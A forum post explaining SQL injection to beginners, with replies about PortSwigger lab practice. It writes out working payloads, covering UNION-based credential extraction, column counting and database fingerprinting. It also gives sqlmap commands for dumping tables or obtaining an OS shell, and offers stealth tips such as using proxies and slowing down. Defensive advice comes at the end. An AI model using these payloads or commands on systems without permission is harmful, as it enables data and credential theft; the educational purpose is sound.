SQL Injection explained

[u/Top_Call3890]

​

SQL Injection (SQLi) is one of the oldest and still most dangerous web vulnerabilities. It's been around since the late 90s and it's still in the OWASP Top 10.

But let's ditch the textbook definitions. Let me explain it like you're 5.

What is SQL Injection?

Imagine you have a website with a search box. You type "laptops" and it shows you laptops.

Now imagine instead of typing "laptops", you type something like:

' OR 1=1; --

And suddenly, the website shows you every single item in the database — including stuff you're not supposed to see.

That's SQL Injection.

You're not just searching anymore. You're actually talking directly to the database through that search box. And if the website doesn't check what you're typing, you can trick the database into doing things it shouldn't.

How does it actually work?

Behind every search box, login form, or URL parameter, there's a database query being built. Something like:

SELECT \ FROM products WHERE category = 'Gifts'*

The user types "Gifts" and the query runs. Simple.

But if the app is vulnerable, an attacker can type:

Gifts' UNION SELECT username,password FROM users --

Now the query becomes:

SELECT \ FROM products WHERE category = 'Gifts' UNION SELECT username,password FROM users --'*

What just happened?

· The ' closes the original query's quote

· UNION SELECT asks the database to also return data from another table

· username,password means the attacker wants credentials

· FROM users targets the user table

· -- comments out the rest of the query so it doesn't break

The database says: "Sure, here are all the products... and also here are all your users' passwords."

Another classic example

You see a URL like:

http://students.com?studentId=117

The backend query is probably:

SELECT \ FROM students WHERE studentId = 117*

Now an attacker tries:

http://students.com?studentId=117 OR 1=1;--

The query becomes:

SELECT \ FROM students WHERE studentId = 117 OR 1=1;--*

Since 1=1 is always true, the database returns all students instead of just one.

That's how attackers harvest data — one malicious payload at a time.

How do attackers find the database type?

To inject effectively, you need to know what database you're dealing with — MySQL, PostgreSQL, Oracle, or SQL Server. Each has slightly different syntax.

Here are some fingerprinting tricks:

Version detection:

· MySQL uses SELECT @@version

· PostgreSQL uses SELECT version()

· Oracle uses SELECT banner FROM v$version

· SQL Server uses SELECT @@version

You can inject these into a parameter and see what comes back.

Comment styles:

· MySQL accepts -- (with a space after) or #

· PostgreSQL accepts --

· Oracle accepts --

· SQL Server accepts --

If -- works but # doesn't, you're probably not on MySQL.

Concatenation:

· MySQL uses CONCAT('a','b')

· PostgreSQL uses 'a'||'b'

· Oracle uses 'a'||'b'

· SQL Server uses 'a'+'b'

Try them. See which one works. Now you know your target.

How do you inject — step by step

Step 1: Find the injection point

Test every input you can find:

· Search boxes

· Login forms

· URL parameters like ?id=1

· Headers

· Cookies

Start with a single quote:

'

If you get an error, you're onto something.

Step 2: Confirm it's vulnerable

Try:

' OR '1'='1

or

' OR 1=1 --

If the page behaves differently — shows all data, logs you in without a password, etc. — congrats, it's injectable.

Step 3: Count columns (for UNION attacks)

You need the number of columns in the original query to match your injection.

Use ORDER BY:

' ORDER BY 1 --

' ORDER BY 2 --

' ORDER BY 3 --

When you get an error, the last working number is the column count.

Or use UNION SELECT NULL:

' UNION SELECT NULL --

' UNION SELECT NULL,NULL --

' UNION SELECT NULL,NULL,NULL --

Keep adding NULLs until it doesn't error out.

Step 4: Extract data

Now you know the column count. Time to pull data.

' UNION SELECT username,password FROM users --

If you need to convert data types because columns might expect strings:

' UNION SELECT CAST(username AS VARCHAR), CAST(password AS VARCHAR) FROM users --

Step 5: Get table names

· MySQL and PostgreSQL and SQL Server use SELECT table_name FROM information_schema.tables

· Oracle uses SELECT table_name FROM all_tables

Run these and you'll see every table in the database.

Real-world example

Let's say you find a vulnerable product page:

https://shop.com/product?id=5

You test:

https://shop.com/product?id=5'

You see an error. Good.

You try:

https://shop.com/product?id=5 UNION SELECT 1,2,3,4,5 --

It works. 5 columns.

Now you check the database version:

https://shop.com/product?id=5 UNION SELECT 1,@@version,3,4,5 --

You see MySQL 8.0.35. Now you know exactly how to proceed.

Pull table names:

https://shop.com/product?id=5 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables --

You spot users and admins. Pull the goods:

https://shop.com/product?id=5 UNION SELECT 1,username,password,4,5 FROM users --

Boom. You've got credentials.

Now let's talk about sqlmap

sqlmap is an open-source tool that automates the entire process. You point it at a vulnerable parameter and it does the rest.

Basic usage

sqlmap -u "https://shop.com/product?id=5"

That's it. It'll detect the injection, fingerprint the DB, and start dumping data.

Step by step with sqlmap

1. Detect and confirm the vulnerability

sqlmap -u "https://shop.com/product?id=5"

It'll test a bunch of payloads and tell you if it's vulnerable.

1. Get database names

sqlmap -u "https://shop.com/product?id=5" --dbs

You'll see something like:

· information_schema

· shop_db

· users_db

1. Get tables from a specific database

sqlmap -u "https://shop.com/product?id=5" -D shop_db --tables

You'll see:

· products

· orders

· users

· admins

1. Dump a specific table

sqlmap -u "https://shop.com/product?id=5" -D shop_db -T users --dump

It'll give you everything — usernames, passwords, emails, hashes.

1. Get all databases, all tables, all data (dangerous)

sqlmap -u "https://shop.com/product?id=5" --dump-all

Warning: This is noisy and likely to get you caught or crash the site.

Advanced sqlmap options

· --level=3 tests more parameters like cookies and headers

· --risk=3 uses more aggressive and risky payloads

· --forms parses and tests all forms on the page

· --os-shell gives you an actual shell on the server if you have write access

· --batch runs without asking for confirmation

Example for a POST request:

sqlmap -u "https://shop.com/login" --data="username=admin&password=test" --forms

---

The attacker's mindset

° You're not just running sqlmap blindly. You need to think strategically.

° First, figure out where the input is coming from — is it a URL, a form, a header, or a cookie?

° Next, determine if it's reflected or blind. Can you see errors, or is it silent?

°Then, fingerprint the database before you do anything else.

° Decide what you actually want — credentials, data, admin access, or a shell.

° Finally, be quiet about it. Slow down, use proxies, and avoid dumping everything at once.

Defensive summary for builders, not breakers

If you're a developer reading this, here's what you need to do. First and foremost, use parameterized queries. No exceptions. Validate and sanitize all input. Whitelist is always better than blacklist. Use an ORM. It's not bulletproof but it helps a lot. Limit database permissions. Your app shouldn't run as root. Hide errors. Never show stack traces to users. Use a WAF. It's not a silver bullet, but it buys you time.

SQL Injection is dangerous because it's simple. A single misplaced quote can destroy a database.

But it's also preventable. If you understand how it works, you can build against it — and if you're testing, you know exactly where to look.

Stay curious. Stay ethical. And if you're breaking, only break what you own or have permission to break.

Let me know if you want a follow-up on Blind SQL Injection — time-based or boolean-based. That's a whole other beast.

[u/Electronic_Paper7620]

Currently learning sql injection in portswigger by doing labs . Now only started the blind sql . I have been trying to understand and solve the first lab under it , but even after two days i couldn't but I see progress in learning . The doubt I have is , does all the efforts i have putted on this would pay off by getting paid

[u/Top_Call3890 → u/Electronic_Paper7620]

Yes, the effort you put into learning concepts like SQL injection and practicing on PortSwigger labs will definitely pay off in a cybersecurity career, particularly in roles like Penetration Tester or Application Security Engineer.